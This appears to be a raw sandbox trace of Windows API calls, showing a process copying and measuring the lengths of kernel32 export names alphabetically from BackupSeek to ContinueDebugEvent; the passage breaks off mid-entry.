lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0125.724] lstrlenA (lpString="BACKUPSEEK") returned 10 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0125.724] lstrlenA (lpString="BACKUPWRITE") returned 11 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0125.725] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0125.725] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0125.725] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0125.725] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0125.725] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0125.725] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0125.725] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0125.725] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0125.725] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0125.725] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0125.725] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0125.725] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0125.725] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0125.725] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0125.725] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0125.725] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0125.725] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0125.725] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0125.726] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0125.726] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0125.726] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0125.726] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0125.726] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0125.726] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0125.726] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0125.726] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0125.726] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0125.726] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0125.726] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0125.726] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0125.726] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0125.726] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0125.726] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0125.726] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0125.726] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0125.726] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0125.727] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0125.727] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0125.727] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0125.727] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0125.727] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0125.727] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0125.727] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0125.727] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0125.727] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0125.727] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0125.727] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0125.727] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0125.727] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0125.727] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0125.727] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0125.727] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0125.727] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0125.728] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0125.728] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0125.728] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0125.728] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0125.728] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0125.728] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0125.728] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0125.728] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0125.728] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0125.728] lstrlenA (lpString="BEEP") returned 4 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0125.728] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0125.728] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0125.728] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0125.728] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0125.728] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0125.728] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0125.728] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0125.729] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0125.729] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0125.729] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0125.729] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0125.729] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0125.729] lstrlenA (lpString="CANCELIO") returned 8 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0125.729] lstrlenA (lpString="CANCELIOEX") returned 10 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0125.729] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0125.729] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0125.729] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0125.729] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0125.729] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0125.729] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0125.729] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0125.729] lstrlenA (lpString="CHECKELEVATION") returned 14 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0125.729] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0125.729] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0125.730] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0125.730] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0125.730] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0125.730] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0125.730] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0125.730] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0125.730] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0125.730] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0125.730] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0125.730] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0125.730] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0125.730] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0125.730] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0125.733] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0125.735] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0125.735] lstrlenA (lpString="CLOSESTATE") returned 10 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0125.735] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0125.735] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0125.735] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0125.735] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0125.735] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0125.735] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0125.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0125.735] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0125.736] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0125.736] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0125.736] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0125.736] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0125.736] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0125.737] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0125.737] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0125.737] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0125.737] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0125.737] lstrlenA 